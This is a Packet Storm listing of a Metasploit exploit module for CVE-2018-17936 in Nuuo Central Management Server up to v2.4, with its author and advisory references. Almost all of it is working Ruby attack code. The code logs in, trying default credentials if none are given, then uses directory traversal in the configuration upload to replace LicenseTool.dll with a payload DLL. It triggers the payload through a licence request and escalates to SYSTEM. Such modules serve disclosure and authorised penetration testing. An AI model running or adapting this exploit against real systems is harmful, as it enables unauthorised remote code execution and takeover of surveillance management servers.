Nuuo Central Management Server 2.4 Authenticated Arbitrary File Upload

2019-02-20T00:00:00
ID PACKETSTORM:151781
Type packetstorm
Reporter Pedro Ribeiro
Modified 2019-02-20T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::Nuuo  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Nuuo Central Management Server Authenticated Arbitrary File Upload",  
'Description' => %q{  
The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the  
CMS Server.  
The vulnerability is in the "FileName" parameter, which accepts directory traversal (..\\..\\)  
characters. Therefore, this function can be abused to overwrite any files in the installation  
drive of CMS Server.  
  
This vulnerability is exploitable in CMS versions up to and including v2.4.  
  
This module will either use a provided session number (which can be guessed with an auxiliary  
module) or attempt to login using a provided username and password - it will also try the  
default credentials if nothing is provided.  
  
This module will overwrite the LicenseTool.dll file in the CMS Server installation. If the module  
fails to restore LicenseTool.dll then the installation will be corrupted and NCS Server will  
not execute successfully.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2018-17936' ],  
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],  
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Targets' =>  
[  
[ 'Nuuo Central Management Server <= v2.4.0', {} ],  
],  
'Privileged' => true,  
'DisclosureDate' => 'Oct 11 2018',  
'DefaultTarget' => 0))  
end  
  
def on_new_session(client)  
if client.type == 'meterpreter'  
print_warning('Please wait a bit while we clean up')  
client.sys.process.get_processes().each do |proc|  
if proc['name'] == 'NCS_Server.exe'  
client.sys.process.kill(proc['pid'])  
Rex.sleep(5)  
client.shell_command_token("move /y #{@dll} LicenseTool.dll")  
client.sys.process.execute('NCS_Server.exe')  
print_good('Successfully restored LicenseTool.dll!')  
end  
end  
  
# elevate privs to system (we're already Admin anyway), and we're done!  
client.run_cmd('getsystem')  
print_good('We should have SYSTEM now, enjoy your shell!')  
else  
print_error('You are not using meterpreter, so we are unable to restore LicenseTool.dll')  
print_error("To restore it, kill the NCS_Server.exe process and copy <CMS_FOLDER>\\#{@dll} to <CMS_FOLDER>\\LicenseTool.dll")  
print_error('... otherwise the Nuuo CMS installation will be nuked!')  
print_good('Anyway, enjoy your shell!')  
end  
end  
  
def exploit  
nucs_login  
  
unless @nucs_session  
fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS')  
end  
  
# Download and upload a backup of LicenseTool.dll, so that we can restore it at post  
# and not nuke the CMS installation.  
@dll = rand_text_alpha(12)  
print_status("Backing up LicenseTool.dll to #{@dll}")  
dll_data = nucs_download_file('LicenseTool.dll')  
nucs_upload_file(@dll, dll_data)  
  
print_status('Uploading payload...')  
nucs_upload_file('LicenseTool.dll', generate_payload_dll)  
  
print_status('Sleeping 15 seconds...')  
Rex.sleep(15)  
  
print_status('Sending SENDLICFILE request, shell incoming!')  
license_data = rand_text_alpha(50..350)  
nucs_send_msg(['SENDLICFILE', "FileName: #{rand_text_alpha(3..11)}.lic",  
'Content-Length: ' + license_data.length.to_s], license_data)  
end  
end  
`